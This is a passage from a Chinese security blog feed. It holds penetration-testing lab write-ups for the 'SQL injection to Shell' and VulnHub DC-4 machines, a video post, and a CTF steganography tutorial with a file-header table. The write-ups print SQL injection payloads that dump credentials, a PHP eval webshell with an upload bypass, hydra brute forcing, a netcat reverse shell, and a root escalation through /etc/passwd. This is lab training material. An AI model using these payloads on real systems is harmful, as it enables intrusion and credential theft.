class="headerlink" title="收集到的信息："></a>收集到的信息：</h2><ul><li>IP =&gt; 192.168.3.108</li><li>开放的端口：<ul><li>22 =&gt; ssh服务 —— OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)</li><li>80 =&gt; http服务 —— Apache httpd 2.2.16 ((Debian))</li></ul></li><li>扫描出来的网站目录</li><li>疑似可以SQL注入</li><li>可能存在文件上传</li></ul><hr><h1 id="渗透测试"><a href="#渗透测试" class="headerlink" title="渗透测试"></a>渗透测试</h1><div class="tip bolt"><p>首先尝试登陆后台，这里介绍两种方法：</p></div><h2 id="方法一：尝试进行SQL注入"><a href="#方法一：尝试进行SQL注入" class="headerlink" title="方法一：尝试进行SQL注入"></a>方法一：尝试进行SQL注入</h2><h3 id="判断是否可以注入："><a href="#判断是否可以注入：" class="headerlink" title="判断是否可以注入："></a>判断是否可以注入：</h3><p>构造url：</p><p><code>192.168.3.108/cat.php?id=1 and 1=1#</code></p><p>页面正常显示</p><p><code>192.168.3.108/cat.php?id=1 and 1=2#</code></p><p>页面不正常显示：</p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810194602.png" alt="QQ截图20220810194602"></p><p>结论：由此说明参数id存在sql注入。</p><h3 id="判断列数"><a href="#判断列数" class="headerlink" title="判断列数"></a>判断列数</h3><p><code>192.168.3.108/cat.php?id=1 order by 1</code></p><p><code>192.168.3.108/cat.php?id=1 order by 2</code></p><p>……</p><p><code>192.168.3.108/cat.php?id=1 order by 5</code></p><p>此时发生报错：</p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810194855.png" alt="QQ截图20220810194855"></p><p>则得知列数为4。</p><h3 id="联合查询获取数据库名称"><a href="#联合查询获取数据库名称" class="headerlink" title="联合查询获取数据库名称"></a>联合查询获取数据库名称</h3><p>判断显示的列位：</p><p><code>192.168.3.108/cat.php?id=1 and 1=2 union select 1,2,3,4#</code></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810194926.png" alt="QQ截图20220810194926"></p><p>得知第二列为显示位。继续查询数据库名：</p><p><code>192.168.3.108/cat.php?id=1 and 1=2 union select 1,database(),3,4#</code></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810194952.png" alt="QQ截图20220810194952"></p><p>得知数据库名为 <code>photoblog</code></p><h3 id="联合查询遍历表名"><a href="#联合查询遍历表名" class="headerlink" title="联合查询遍历表名"></a>联合查询遍历表名</h3><p><code>192.168.3.108/cat.php?id=1 and 1=2 union select 1,table_name,3,4 from information_schema.tables#</code></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810195115.png" alt="QQ截图20220810195115"></p><p>发现有一个users表，可能是网站后台的账号密码。</p><h3 id="查询users列名"><a href="#查询users列名" class="headerlink" title="查询users列名"></a>查询users列名</h3><p><code>192.168.3.108/cat.php?id=1 and 1=2 union select 1,column_name,3,4 from information_schema.columns where table_name = 'users'#</code></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810195157.png" alt="QQ截图20220810195157"></p><h3 id="查询users表数据"><a href="#查询users表数据" class="headerlink" title="查询users表数据"></a>查询users表数据</h3><p><code>192.168.3.108/cat.php?id=1 and 1=2 union select 1,login,3,4 from users#</code></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810195228.png" alt="QQ截图20220810195228"></p><p>得到后台管理员用户名 ：</p><blockquote><p>admin</p></blockquote><p><code>192.168.3.108/cat.php?id=1 and 1=2 union select 1,password,3,4 from users#</code></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810195317.png" alt="QQ截图20220810195317"></p><p>得到密文：</p><blockquote><p>8efe310f9ab3efeae8d410a8e0166eb2</p></blockquote><p>长度为32，猜测为md5加密，在<a href="https://www.cmd5.com/">cmd5</a>网站解密：</p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810195632.png" alt="QQ截图20220810195632"></p><p>得到密码：</p><blockquote><p>P4ssw0rd</p></blockquote><h3 id="登录后台"><a href="#登录后台" class="headerlink" title="登录后台"></a>登录后台</h3><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810195712.png" alt="QQ截图20220810195712"></p><h2 id="方法二-：使用sqlmap"><a href="#方法二-：使用sqlmap" class="headerlink" title="方法二 ：使用sqlmap"></a>方法二 ：使用sqlmap</h2><p>因为网页的标题是“My Awesome Photoblog”，可以猜测数据库名称为<code>photoblog</code>（在方法一中证明）</p><p>使用sqlmap获取该数据库的全部数据：</p><p><code>sqlmap –u http://192.168.3.108/cat.php?id=1 –D photoblog --dump-all --batch</code></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810200042.png" alt="QQ截图20220810200042"></p><p>直接获得了账户名和登录密码：</p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810200117.png" alt="QQ截图20220810200117"></p><hr><div class="tip bolt"><p>接下来getshell，这里介绍两种方法：</p></div><h2 id="方法一：一句话木马-蚁剑连接"><a href="#方法一：一句话木马-蚁剑连接" class="headerlink" title="方法一：一句话木马+蚁剑连接"></a>方法一：一句话木马+蚁剑连接</h2><p>构造一句话木马<code>yijuhua.php</code>并上传， 发现提示不允许上传php。进行一下简单的文件上传绕过，修改后缀为<code>.phP</code>，成功上传。</p><figure class="highlight php"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?</span>PHP @<span class="keyword">eval</span>(<span class="variable">$_POST</span>[<span class="string">'cmd'</span>]);<span class="meta">?&gt;</span></span><br></pre></td></tr></tbody></table></figure><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810200441.png" alt="QQ截图20220810200441"></p><p>蚁剑连接：</p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810201802.png" alt="QQ截图20220810201802"></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810202139.png" alt="QQ截图20220810202139"></p><p>成功getshell！</p><h2 id="方法二-：weevely-php菜刀-连接"><a href="#方法二-：weevely-php菜刀-连接" class="headerlink" title="方法二 ：weevely(php菜刀)连接"></a>方法二 ：weevely(php菜刀)连接</h2><p>使用kali中的工具weevely，生成一个webshell文件：</p><p><code>weevely generate hacker shell.php</code></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810202446.png" alt="QQ截图20220810202446"></p><p>修改后缀为<code>.phP</code>进行文件上传，然后使用weevely连接webshell：</p><p><code>weevely http://192.168.0.131/admin/uploads/shell.PHP hacker</code></p><p><img src="https://img.anineg.space/QQ%E6%88%AA%E5%9B%BE20220810202826.png" alt="QQ截图20220810202826"></p><p>成功连接。</p><details class="folding-tag" cyan="" close=""><summary> 参考文章： </summary>              <div class="content">              <div class="tag link"><a class="link-card" title="Hack the Pentester Lab: from SQL injection to Shell VM" href="https://www.hackingarticles.in/hack-pentester-lab-sql-injection-shell-vm/"><div class="left"><img src="https://img.anineg.space/logo-white.png"></div><div class="right"><p class="text">Hack the Pentester Lab: from SQL injection to Shell VM</p><p class="url">https://www.hackingarticles.in/hack-pentester-lab-sql-injection-shell-vm/</p></div></a></div><div class="tag link"><a class="link-card" title="My Awesome Photoblog靶机渗透WP" href="https://www.jianshu.com/p/dd8768dd2b58"><div class="left"><img src="https://img.anineg.space/logo-white.png"></div><div class="right"><p class="text">My Awesome Photoblog靶机渗透WP</p><p class="url">https://www.jianshu.com/p/dd8768dd2b58</p></div></a></div>              </div>            </details>]]></content>
    
    
    <summary type="html">本练习说明如何从 SQL 注入中获取对管理控制台的访问权限。</summary>
    
    
    
    <category term="学习笔记" scheme="https://blog.anineg.space/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="靶机" scheme="https://blog.anineg.space/tags/%E9%9D%B6%E6%9C%BA/"/>
    
    <category term="渗透" scheme="https://blog.anineg.space/tags/%E6%B8%97%E9%80%8F/"/>
    
    <category term="SQL注入" scheme="https://blog.anineg.space/tags/SQL%E6%B3%A8%E5%85%A5/"/>
    
  </entry>
  
  <entry>
    <title>某神奇社团的招新视频~</title>
    <link href="https://blog.anineg.space/2022/07/29/ladybug/"/>
    <id>https://blog.anineg.space/2022/07/29/ladybug/</id>
    <published>2022-07-29T12:16:28.000Z</published>
    <updated>2022-08-09T04:02:56.824Z</updated>
    
    <content type="html"><![CDATA[<div class="tip "><p>Tips：如有背景音乐自动播放，可以在左下角弹窗内关闭。</p></div><div align="center" class="aspect-ratio">    <iframe src="https://player.bilibili.com/player.html?aid=216487398&amp;&amp;page=1&amp;as_wide=1&amp;high_quality=1&amp;danmaku=0" scrolling="no" border="0" frameborder="no" framespacing="0" high_quality="1" danmaku="1" allowfullscreen="true">     </iframe></div>]]></content>
    
    
      
      
    <summary type="html">&lt;div class=&quot;tip &quot;&gt;&lt;p&gt;Tips：如有背景音乐自动播放，可以在左下角弹窗内关闭。&lt;/p&gt;
&lt;/div&gt;
&lt;div align=&quot;center&quot; class=&quot;aspect-ratio&quot;&gt;
    &lt;iframe src=&quot;https://player.bilib</summary>
      
    
    
    
    <category term="视频" scheme="https://blog.anineg.space/categories/%E8%A7%86%E9%A2%91/"/>
    
    
    <category term="bilibili" scheme="https://blog.anineg.space/tags/bilibili/"/>
    
  </entry>
  
  <entry>
    <title>VulnHub——DC-4靶机学习记录</title>
    <link href="https://blog.anineg.space/2022/07/25/dc4/"/>
    <id>https://blog.anineg.space/2022/07/25/dc4/</id>
    <published>2022-07-25T13:25:44.000Z</published>
    <updated>2022-10-02T04:46:55.303Z</updated>
    
    <content type="html"><![CDATA[<h1 id="关于DC-4"><a href="#关于DC-4" class="headerlink" title="关于DC-4"></a>关于DC-4</h1><blockquote><p>DC-4是另一个专门构建的易受攻击的实验室，旨在获得渗透测试领域的经验。</p><p>与以前的DC版本不同，此版本主要为初学者/中级版本而设计。只有一个标志，但从技术上讲，有多个入口点，就像上次一样，没有线索。</p><p>Linux技能和对Linux命令行的熟悉程度是必须的，基本的渗透测试工具的一些经验也是必须的。</p><p>对于初学者来说，Google可以提供很大的帮助，但你可以随时在@DCAU7上发推文给我，寻求帮助，让你再次前进。但请注意：我不会给你答案，相反，我会给你一个关于如何前进的想法。</p></blockquote><div class="table-container"><table><thead><tr><th>名称</th><th>DC- 4</th></tr></thead><tbody><tr><td>发布日期</td><td>2019年4月7日</td></tr><tr><td>作者</td><td>DCAU</td></tr><tr><td>系列</td><td>DC</td></tr><tr><td>网页</td><td><a href="https://www.vulnhub.com/entry/dc-4,313/">https://www.vulnhub.com/entry/dc-4,313/</a></td></tr></tbody></table></div><h1 id="环境"><a href="#环境" class="headerlink" title="环境"></a>环境</h1><p>靶机：DC-4（IP:未知）</p><p>攻击机：KALI（IP:192.168.3.96）</p><p>平台：VMware 16.2.4</p><h1 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h1><p><strong>主机发现</strong></p><p><code>arp-scan -l</code></p><p><img src="https://img.anineg.space/scan1.png" alt="scan1"></p><p><strong>使用nmap进行扫描主机</strong></p><p><code>nmap -sS -Pn -A -p- -n 192.168.3.95</code></p><p><img src="https://img.anineg.space/nmapss.png" alt="nmapss"></p><p><code>nmap -sV -p- 192.168.3.95</code></p><p><img src="https://img.anineg.space/nmapsv.png" alt="nmapsv"></p><p><strong>web指纹识别</strong></p><p><code>whatweb -v 192.168.3.95</code></p><p><img src="https://img.anineg.space/whatweb.png" alt="whatweb"></p><p><strong>网站目录扫描</strong></p><p><code>dirb http://192.168.3.95 /usr/share/dirb/wordlists/big.txt</code></p><p><img src="https://img.anineg.space/dirb.png" alt="dirb"></p><h2 id="收集到的信息："><a href="#收集到的信息：" class="headerlink" title="收集到的信息："></a>收集到的信息：</h2><ul><li>靶机IP =&gt; 192.168.3.95</li><li><p>开放的端口：</p><ul><li>22 =&gt; ssh服务 —— OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)</li><li>80 =&gt; http服务 —— nginx 1.15.10</li></ul><hr></li></ul><h1 id="渗透测试"><a href="#渗透测试" class="headerlink" title="渗透测试"></a>渗透测试</h1><p>尝试用hydra进行爆破</p><p><code>hydra -l root -P /root/top1000.txt -vV -t 10 -o ssh.txt 192.168.15.152 ssh -s 22</code></p><p><img src="https://img.anineg.space/hydra1.png" alt="hydra1"></p><p>爆不出来，先去网页端看一看有什么有用的信息。</p><p>访问<code>http://192.168.3.95/</code></p><p><img src="https://img.anineg.space/0010.png" alt="0010"></p><p>打开网页，是一个登录界面，开始用BP进行爆破，得到密码：</p><blockquote><p>happy</p></blockquote><p><img src="https://img.anineg.space/baopo.png" alt="baopo"></p><p>登录进入，发现有可以执行命令的地方：</p><p><img src="https://img.anineg.space/login.png" alt="login"></p><p><img src="https://img.anineg.space/run.png" alt="run"></p><p>使用BP进行抓包，发现可以修改命令：</p><p><img src="https://img.anineg.space/bp1.png" alt="bp1"></p><p><img src="https://img.anineg.space/bp2.png" alt="bp2"></p><p><img src="https://img.anineg.space/fire1.png" alt="fire1"></p><p>先执行一个反弹shell的命令：<code>nc -e /bin/bash 192.168.3.95 4444</code></p><p>执行之前现在kali上监听4444端口：<code>nc -lnvp 4444</code></p><p><img src="https://img.anineg.space/listen.png" alt="listen"></p><p><img src="https://img.anineg.space/bp4.png" alt="bp4"></p><p>getshell成功：</p><p><img src="https://img.anineg.space/ncsuccess.png" alt="ncsuccess"></p><p>进入交互模式，便于操作：<code>python -c 'import pty;pty.spawn("/bin/sh")'</code></p><p>先搜刮一下目录：</p><p><img src="https://img.anineg.space/jim.png" alt="jim"></p><p>查看jim用户下的backups，发现确实是密码的备份，cat打开进行查看，确实是密码。</p><p><img src="https://img.anineg.space/bak.png" alt="bak"></p><p>看看其他文件，mbox访问被拒绝：</p><p><img src="https://img.anineg.space/catother.png" alt="catother"></p><p>把密码copy到本地，用 hydra进行爆破：</p><p><code>hydra -l jim -P /home/kali/桌面/bak.txt ssh://192.168.3.95</code></p><p><img src="https://img.anineg.space/hydrasuccess.png" alt="hydrasuccess"></p><p>得到密码：</p><blockquote><p>jibril04</p></blockquote><p>使用ssh远程登陆：</p><p><img src="https://img.anineg.space/sshin1.jpg" alt="sshin1"></p><p>注意系统提示有新的邮件。</p><p>找到邮件，发现 charles用户交给 jim用户保管的密码：</p><p><img src="https://img.anineg.space/cdmail.png" alt="cdmail"></p><p><img src="https://img.anineg.space/jimmail.png" alt="jimmail"></p><p>得到用户名和密码：</p><blockquote><p>charles </p><p>^xHhA&amp;hvim0y</p></blockquote><p>再次使用ssh远程登陆到charles ：</p><p><img src="https://img.anineg.space/sshin2.png" alt="sshin2"></p><p>查看用户权限发现，该用户可以以root权限免密码执行 /usr/bin/teehee</p><p>进行提权，直接向/etc/passwd中增加内容：</p><p> echo 命令与 sudo 命令配合使用，可以实现向那些只有系统管理员才有权限操作的文件中写入信息</p><p>添加一个 hack用户，并使用teehee执行写入passwd中</p><p><code>echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd</code></p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">参数解释：</span><br><span class="line">admin:x:0:0::/home/admin:/bin/bash</span><br><span class="line">[用户名]：[密码]：[UID]：[GID]：[身份描述]：[主目录]：[登录shell]</span><br><span class="line">"-a" 选项的作用等同于 "&gt;&gt;" 命令</span><br></pre></td></tr></tbody></table></figure><p><img src="https://img.anineg.space/image-20220725223345603.png" alt="image-20220725223345603"></p><p>得到flag：<img src="https://img.anineg.space/flag.png" alt="flag"></p><details class="folding-tag" cyan="" close=""><summary> 参考文章： </summary>              <div class="content">              <div class="tag link"><a class="link-card" title="菜鸟渗透日记24---DC-4靶机打靶过程详解" href="https://blog.csdn.net/leesir98/article/details/101620077"><div class="left"><img src="https://img.anineg.space/csdn.png"></div><div class="right"><p class="text">菜鸟渗透日记24---DC-4靶机打靶过程详解</p><p class="url">https://blog.csdn.net/leesir98/article/details/101620077</p></div></a></div><div class="tag link"><a class="link-card" title="DC-4靶机渗透指南（渗透测试详细操作）" href="https://blog.csdn.net/weixin_45671944/article/details/121747512"><div class="left"><img src="https://img.anineg.space/csdn.png"></div><div class="right"><p class="text">DC-4靶机渗透指南（渗透测试详细操作）</p><p class="url">https://blog.csdn.net/weixin_45671944/article/details/121747512</p></div></a></div><div class="tag link"><a class="link-card" title="【vulnhub】---DC-4靶机" href="https://blog.csdn.net/qq_43168364/article/details/106626917"><div class="left"><img src="https://img.anineg.space/csdn.png"></div><div class="right"><p class="text">【vulnhub】---DC-4靶机</p><p class="url">https://blog.csdn.net/qq_43168364/article/details/106626917</p></div></a></div>              </div>            </details>]]></content>
    
    
    <summary type="html">DC-4是另一个专门构建的易受攻击的实验室，旨在获得渗透测试领域的经验。</summary>
    
    
    
    <category term="学习笔记" scheme="https://blog.anineg.space/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="靶机" scheme="https://blog.anineg.space/tags/%E9%9D%B6%E6%9C%BA/"/>
    
    <category term="渗透" scheme="https://blog.anineg.space/tags/%E6%B8%97%E9%80%8F/"/>
    
  </entry>
  
  <entry>
    <title>CTF隐写术(其他文件隐写)</title>
    <link href="https://blog.anineg.space/2022/07/10/yinxie2/"/>
    <id>https://blog.anineg.space/2022/07/10/yinxie2/</id>
    <published>2022-07-10T02:24:54.000Z</published>
    <updated>2022-07-25T13:31:47.662Z</updated>
    
    <content type="html"><![CDATA[<h1 id="电子文档隐写："><a href="#电子文档隐写：" class="headerlink" title="电子文档隐写："></a>电子文档隐写：</h1><h2 id="Word文件隐写："><a href="#Word文件隐写：" class="headerlink" title="Word文件隐写："></a><strong>Word文件隐写：</strong></h2><h3 id="隐藏文本功能隐写："><a href="#隐藏文本功能隐写：" class="headerlink" title="隐藏文本功能隐写："></a><strong>隐藏文本功能隐写：</strong></h3><p>一是进入Word—文件—选项—显示—勾选“隐藏文字”。</p><p><img src="https://img.anineg.space/image-20220725103241170.png" alt="image-20220725103241170"></p><p>二是使用WinHex查看十六进制数据。</p><p><img src="https://img.anineg.space/b427f23d6dc0dc14d28f5167c47a8f3.jpg" alt="b427f23d6dc0dc14d28f5167c47a8f3"></p><h3 id="word文档的xml转换："><a href="#word文档的xml转换：" class="headerlink" title="word文档的xml转换："></a>word文档的xml转换：</h3><p>我们可以将word文档转换成xml格式，当然反过来我们也可以将xml转换成word文档，这导致了我们如果重新打包为word文档的过程中，有可能被隐藏进其他数据。</p><p>一是将后缀名改为.zip\rar\7z等压缩格式，打开即可查看。</p><p><img src="https://img.anineg.space/010a0d81079b704958949fbcca8183a.jpg" alt="010a0d81079b704958949fbcca8183a"></p><p>二是使用WinHex查看十六进制数据。</p><p><img src="https://img.anineg.space/295371d0b5f16cf0e8c0902afada3cb.jpg" alt="295371d0b5f16cf0e8c0902afada3cb"></p><p><strong>PDF文件隐写：</strong></p><div class="note success flat"><p>分离方法：</p></div><p>wbStego分离：</p><p>在工具目录中找到 wbStego4open，使用工具载入文档，</p><ul><li><p>Step 1 是文件介绍</p></li><li><p>Step 2 中，我们选择Decode，</p></li><li><p>Step 3 我们选择目标文件</p></li><li><p>Step 4 输入加密密码，这里我是空密码，直接跳过</p></li><li><p>Step 5 为保存文件为 flag.txt</p><p><img src="https://img.anineg.space/6f57d63adf5656c09126ce54dfa9c10.jpg" alt="6f57d63adf5656c09126ce54dfa9c10"></p></li></ul><h1 id="多媒体文件隐写："><a href="#多媒体文件隐写：" class="headerlink" title="多媒体文件隐写："></a>多媒体文件隐写：</h1><h2 id="音频隐写："><a href="#音频隐写：" class="headerlink" title="音频隐写："></a><strong>音频隐写：</strong></h2><h3 id="摩斯电码式："><a href="#摩斯电码式：" class="headerlink" title="摩斯电码式："></a><strong>摩斯电码式：</strong></h3><p>打开音频文件尝试听一下内容，会听到类似电报的发文声。</p><p>摩尔斯电码对照表：</p><p><img src="https://img.anineg.space/39ab9391a322baaa53670e1e2e84d49.jpg" alt="39ab9391a322baaa53670e1e2e84d49"></p><p>解码方式：</p><p>用Adobe Auditon打开目标文件，并观察波形。长的代表代表横线，短的代表点，大的间隔是空格。</p><p><img src="https://img.anineg.space/c6d46df848b2964460b4499b4f04d1d.jpg" alt="c6d46df848b2964460b4499b4f04d1d"></p><p>翻译后的密文为：</p><p><code>-..- .. .- -. --.. .... .. .-.-.- .- .-.. .. -.-- ..- -. .-.-.- -.-. --- --</code></p><h3 id="利用MP3stego进行的数据隐写："><a href="#利用MP3stego进行的数据隐写：" class="headerlink" title="利用MP3stego进行的数据隐写："></a><strong>利用MP3stego进行的数据隐写：</strong></h3><p>MP3Stego命令：</p><p>加密：<code>encode -E 加密文本 -P 密码 wav文件 mp3文件</code></p><p>解密：<code>decode -X -P 密码 mp3文件</code></p><p><img src="https://img.anineg.space/ad731d8f82fd5c10da3423887bbfac6.jpg" alt="ad731d8f82fd5c10da3423887bbfac6"></p><h3 id="频谱图的音频隐写："><a href="#频谱图的音频隐写：" class="headerlink" title="频谱图的音频隐写："></a><strong>频谱图的音频隐写：</strong></h3><p>频谱是频率谱密度的简称，是频率的分布曲线。复杂振荡分解为振幅不同和频率不同的谐振荡，这些谐振荡的幅值按频率排列的图形叫做频谱。</p><p>在CTF中，我们可以单独只对一个声道中，隐写进信息。</p><div class="note success flat"><p>分离方法：</p></div><p>使用Adobe Audition分离：</p><p>用AU打开音频文件，调整频谱显示，即可显示出flag。</p><p><img src="https://img.anineg.space/339daf06a866ebb8734810e472ba1e1.jpg" alt="339daf06a866ebb8734810e472ba1e1"></p><h2 id="视频隐写："><a href="#视频隐写：" class="headerlink" title="视频隐写："></a><strong>视频隐写：</strong></h2><p>目前在CTF赛事中较为常出现的视频隐写，一般都是将一场带有隐写信息的图片，嵌入视频中，我们所需要做的就是将这个图片从视频分离出来，然后在分析我们分离出来的文件是什么，之后的操作可能会涉及到密码编码，图片隐写等知识点。</p><p>如果单独对视频来说ffmpeg是一个很好的工具，这里我使用的是foremost，当然我们也可以使用binwalk或者dd等工具，正如我们图片隐写中教大家分离图片所用的方法一样。区别是，ffmpeg将视频分解成一张一张的图片，foremost是一个基于文件头和尾部信息以及文件的内建数据结构恢复文件的命令行工具。</p><h3 id="使用foremost分离："><a href="#使用foremost分离：" class="headerlink" title="使用foremost分离："></a>使用foremost分离：</h3><p>分离命令：</p><p><code>foremost xxx.mp4</code></p><p>会自动生成output目录存放分离出文件。</p><h3 id="使用steghide分离："><a href="#使用steghide分离：" class="headerlink" title="使用steghide分离："></a>使用steghide分离：</h3><p>分离命令：</p><p><code>steghide extract -sf thing.jpg -p password</code></p><h1 id="常用文件头尾标识："><a href="#常用文件头尾标识：" class="headerlink" title="常用文件头尾标识："></a>常用文件头尾标识：</h1><p>JPEG/JPG：</p><ul><li>文件头标识(2 bytes)：FF D8</li><li>文件结束标识(2 bytes)：FF D9</li></ul><p>PNG：</p><ul><li>文件头标识(8 bytes)：89 50 4E 47 0D 0A 1A 0A</li></ul><p>GIF：</p><ul><li>文件头标识(6 bytes)：47 49 46 38 39(37) 61</li><li>文件结束标识(2 bytes)：01 01 00 3B</li></ul><p>BMP：</p><ul><li>文件头标识(2 bytes)：42 4D</li></ul><h2 id="文件头标识及对应类型表："><a href="#文件头标识及对应类型表：" class="headerlink" title="文件头标识及对应类型表："></a><strong>文件头标识及对应类型表：</strong></h2><div class="table-container"><table><thead><tr><th><strong>扩展名</strong></th><th>文件头标识（HEX）</th><th><strong>文件描述</strong></th></tr></thead><tbody><tr><td>123</td><td>00 00 1A 00 05 10 04</td><td>Lotus 1-2-3 spreadsheet (v9) file</td></tr><tr><td>3gg; 3gp; 3g2</td><td>00 00 00 nn 66 74 79 70 33 67 70</td><td>3rd Generation Partnership Project 3GPP (nn=0x14)  and 3GPP2 (nn=0x20) multimedia files</td></tr><tr><td>7z</td><td>37 7A BC AF 27 1C</td><td>7-ZIP compressed file</td></tr><tr><td>aba</td><td>00 01 42 41</td><td>Palm Address Book Archive file</td></tr><tr><td>abi</td><td>41 4F 4C 49 4E 44 45 58</td><td>AOL address book index file</td></tr><tr><td>aby; idx</td><td>41 4F 4C 44 42</td><td>AOL database files: address book (ABY) and user  configuration data (MAIN.IDX)</td></tr><tr><td>accdb</td><td>00 01 00 00 53 74 61 6E 64 61 72 64 20 41 43 45 20  44 42</td><td>Microsoft Access 2007 file</td></tr><tr><td>ACM</td><td>4D 5A</td><td>MS audio compression manager driver</td></tr><tr><td>ADF</td><td>44 4F 53</td><td>Amiga disk file</td></tr><tr><td>adx</td><td>03 00 00 00 41 50 50 52</td><td>Lotus Approach ADX file</td></tr><tr><td>AIFF</td><td>46 4F 52 4D 00</td><td>Audio Interchange File</td></tr><tr><td>ain</td><td>21 12</td><td>AIN Compressed Archive File</td></tr><tr><td>ami</td><td>5B 76 65 72 5D</td><td>Lotus Ami Pro</td></tr><tr><td>amr</td><td>23 21 41 4D 52</td><td>Adaptive Multi-Rate ACELP (Algebraic Code Excited  Linear Prediction) Codec, commonly audio format with GSM cell phones</td></tr><tr><td>ANI</td><td>52 49 46 46</td><td></td></tr><tr><td>API</td><td>4D 5A 90 00 03 00 00 00</td><td>Acrobat plug-in</td></tr><tr><td>arc</td><td>1A 0x</td><td>LH archive file, old version(where x = 0x2, 0x3,  0x4, 0x8 or 0x9 for types 1-5, respectively)</td></tr><tr><td>arc</td><td>41 72 43 01</td><td>FreeArc compressed file</td></tr><tr><td>arj</td><td>60 EA</td><td>ARJ Compressed Archive</td></tr><tr><td>ARJ</td><td>60 EA 27</td><td></td></tr><tr><td>ART</td><td>4A 47 03 0E 00 00 00</td><td>AOL ART file</td></tr><tr><td>ART</td><td>4A 47 04 0E 00 00 00</td><td>AOL ART file</td></tr><tr><td>asf</td><td>30 26 B2 75 8E 66 CF 11</td><td>Windows Media</td></tr><tr><td>asf; wma; wmv</td><td>30 26 B2 75 8E 66 CF 11 A6 D9 00 AA 00 62 CE 6C</td><td>Microsoft Windows Media Audio/Video File(Advanced  Streaming Format)</td></tr><tr><td>asx</td><td>3C</td><td>Advanced Stream redirector file</td></tr><tr><td>au</td><td>2E 73 6E 64</td><td>SoundMachine Audio FileNeXT/Sun Microsystems μ-Law audio file</td></tr><tr><td>avi</td><td>41 56 49 20</td><td>Audio Video Interleave (AVI)</td></tr><tr><td>AX</td><td>4D 5A</td><td>Library cache file</td></tr><tr><td>AX</td><td>4D 5A 90 00 03 00 00 00</td><td>DirectShow filter</td></tr><tr><td>bag</td><td>41 4F 4C 20 46 65 65 64 62 61 67</td><td>AOL and AIM buddy list file</td></tr><tr><td>BAS</td><td>20 20 20</td><td></td></tr><tr><td>bin</td><td>42 4C 49 32 32 33 51</td><td>Thomson Speedtouch series WLAN router firmware</td></tr><tr><td>bmp</td><td>42 4D</td><td>Windows Bitmap</td></tr><tr><td>BMP</td><td>42 4D 3E</td><td></td></tr><tr><td>bz; bz2</td><td>42 5A 68</td><td>BZIP Archive</td></tr><tr><td>BZ2; TAR.BZ2; TBZ2; TB2</td><td>42 5A 68</td><td>bzip2 compressed archive</td></tr><tr><td>CAB</td><td>49 53 63</td><td></td></tr><tr><td>CAB; HDR</td><td>49 53 63 28</td><td>Install Shield v5.x or 6.x compressed file</td></tr><tr><td>CAB</td><td>4D 53 43 46</td><td>Microsoft CAB File Format</td></tr><tr><td>cat</td><td>30</td><td>Microsoft security catalog file</td></tr><tr><td>CBD</td><td>43 42 46 49 4C 45</td><td>WordPerfect dictionary file (unconfirmed)</td></tr><tr><td>CCD</td><td>5B 43 6C</td><td></td></tr><tr><td>cdr</td><td>CDR</td><td>Corel Draw</td></tr><tr><td>CDR</td><td>45 4C 49 54 45 20 43 6F 6D 6D 61 6E 64 65 72 20</td><td>Elite Plus Commander saved game file</td></tr><tr><td>CDR, DVF</td><td>4D 53 5F 56 4F 49 43 45</td><td>Sony Compressed Voice File</td></tr><tr><td>CHI; CHM</td><td>49 54 53 46</td><td>Microsoft Compiled HTML Help File</td></tr><tr><td>CHM</td><td>49 54 53</td><td></td></tr><tr><td>CLB</td><td>43 4D 58 31</td><td>Corel Binary metafile</td></tr><tr><td>CLB</td><td>43 4F 4D 2B</td><td>COM+ Catalog file</td></tr><tr><td>cnt</td><td>3A 42 61 73 65</td><td></td></tr><tr><td>COM, DLL, DRV, EXE, PIF, QTS, QTX, SYS</td><td>4D 5A</td><td>Windows/DOS executable file</td></tr><tr><td>COM</td><td>4D 5A EE</td><td></td></tr><tr><td>COM</td><td>E9 3B 03</td><td></td></tr><tr><td>CPE</td><td>46 41 58 43 4F 56 45 52 2D 56 45 52</td><td>Microsoft Fax Cover Sheet</td></tr><tr><td>CPL</td><td>4D 5A</td><td>Control panel application</td></tr><tr><td>CPT</td><td>43 50 54 37 46 49 4C 45</td><td>Corel Photopaint file</td></tr><tr><td>CPT</td><td>43 50 54 46 49 4C 45</td><td>Corel Photopaint file</td></tr><tr><td>CPX</td><td>5B 57 69</td><td></td></tr><tr><td>cru; crush</td><td>43 52 55 53 48</td><td>CRUSH Archive File</td></tr><tr><td>CRU</td><td>43 52 55 53 48 20 76</td><td>Crush compressed archive</td></tr><tr><td>CRW</td><td>49 49 1A 00 00 00 48 45 41 50 43 43 44 52 02 00</td><td>Canon digital camera RAW file</td></tr><tr><td>CTF</td><td>43 61 74 61 6C 6F 67 20 33 2E 30 30 00</td><td>WhereIsIt Catalog file</td></tr><tr><td>CUR</td><td>00 00 02 00 01 00 20 20</td><td>Windows cursor 